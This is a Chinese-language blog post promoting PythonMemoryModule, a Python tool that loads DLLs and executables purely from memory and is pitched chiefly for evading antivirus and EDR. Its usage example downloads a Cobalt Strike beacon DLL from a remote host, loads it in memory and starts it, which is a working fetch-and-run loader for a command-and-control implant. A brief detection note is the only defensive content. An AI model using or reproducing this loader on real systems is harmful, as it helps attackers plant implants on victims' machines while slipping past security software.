Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 攻防对抗 › PythonMemoryModule | Python 完全实现内存中加载 DLL

PythonMemoryModule | Python 完全实现内存中加载 DLL

Eswlnk的头像
Eswlnk
2023-06-11 1:22:44
PythonMemoryModule | Python 完全实现内存中加载 DLL-Eswlnk Blog
智能摘要 AI
PythonMemoryModule 是一个基于 Python 的 MemoryModule 技术移植,允许在内存中加载 DLL 或非托管 EXE 文件,无需依赖外部库。最初用于 Pyramid 模块以规避 AV/EDR,现可用于 IP 保护和其他隐蔽技术。其主要优势包括:避免外部代码被 AV/EDR 标记、动态执行代码、提供一定程度的知识产权保护以及无需注入即可加载无阶段 DLL。通过示例代码展示了如何下载并加载 Cobalt Strike 无阶段信标 DLL。检测时,程序内存中会出现一个不由磁盘支持的私有提交。未来计划改进包括支持参数解析和 .NET 程序集执行。

介绍

PythonMemoryModule 是最初由 Joachim Bauch 发布的 MemoryModule 技术的 Python ctypes 移植。它可以使用 Python 加载 dll 或非托管 exe,而无需使用外部库 (pyd),它利用 pefile 来解析 PE 标头和 ctypes。

该工具最初被认为用于 Pyramid 模块,提供对 AV/EDR 的规避,通过完全从内存中加载 python.exe 中的 dll/exe 有效负载。但是其他用例也是可能的(IP 保护、pyds 内存加载、其他隐秘技术的衍生产品),因此作者决定创建一个专门的回购协议。

PythonMemoryModule | Python 完全实现内存中加载 DLL-Eswlnk Blog

优势

  • 基本上允许完全在 Python 解释语言中使用 MemoryModule 技术,允许使用股票签名的 python.exe 二进制文件从内存缓冲区加载 dll,而无需将外部代码/库(例如 pymemorymodule 绑定)放在磁盘上被 AV/EDR 标记或可能引起用户的怀疑。
  • 在编译语言加载器中使用 MemoryModule 技术需要在加载器本身中嵌入 MemoryModule 代码。使用 Python 解释语言和 PythonMemoryModule 可以避免这种情况,因为代码可以在内存中动态执行。
  • 可以通过在内存中动态下载、解密和加载本应隐藏起来以免被窥视的 dll 来获得一定程度的知识产权保护。请记住,dll 仍然可以从内存中恢复并进行逆向工程,但至少需要攻击者付出更多努力。
  • 可以在不执行注入或 shellcode 执行的情况下加载无阶段负载 dll 。加载过程模仿 LoadLibrary Windows API(它采用磁盘上的路径作为输入),而无需实际调用它并在内存中运行。

如何使用

以下示例演示了如何下载 Cobalt Strike 无阶段信标 dll 并将其加载到内存中:

import urllib.request
import ctypes
import pythonmemorymodule

request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()

请注意,如果您在可延展的配置文件中使用暂存,则 dll 将无法使用 LoadLibrary 加载,因此 MemoryModule 将无法工作。

PythonMemoryModule | Python 完全实现内存中加载 DLL-Eswlnk Blog

如何检测

使用 MemoryModule 技术将主要尊重目标 DLL 的部分权限并避免嘈杂的 RWX 方法。然而,在程序内存中,将有一个不由磁盘上的 dll 支持的私有提交,这是一个 MemoryModule 告密者。

未来的改进

  • 添加对参数解析的支持。
  • 添加对 .NET 程序集执行的支持(基本)。
本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
声明:本站原创文章文字版权归本站所有,转载务必注明作者和出处;本站转载文章仅仅代表原作者观点,不代表本站立场,图文版权归原作者所有。如有侵权,请联系我们删除。
dllpython安全工具
0
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
AtomLdr | 具有高级规避功能的 DLL 加载器
上一篇
Certsync | 使用黄金证书转储 NTDS 和 UnPAC 哈希值
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 「漏洞资讯」CVE-2025-12914:宝塔面板曝出注入漏洞
  • 「亲测有效」Google Gemini 学生优惠:解决身份验证和支付卡验证
  • 小工具开发之EdgeOne免费计划兑换工具
  • 研究日志:ERA5-Land数据解析问题
  • 今日热点:伪Clash软件下载陷阱曝光,附防范建议
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1108
文章
319
评论
679
获赞

随便看看

「漏洞资讯」1Panel面板前台RCE漏洞(CVE-2024-39911)
2024-07-22 20:09:39
手刃价值328元的网站优化助手
2021-07-30 18:08:06
关于360最新版杀毒引擎的那些事
2021-05-04 0:42:18

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2025 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 0.938 秒   |  SQL查询 25 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈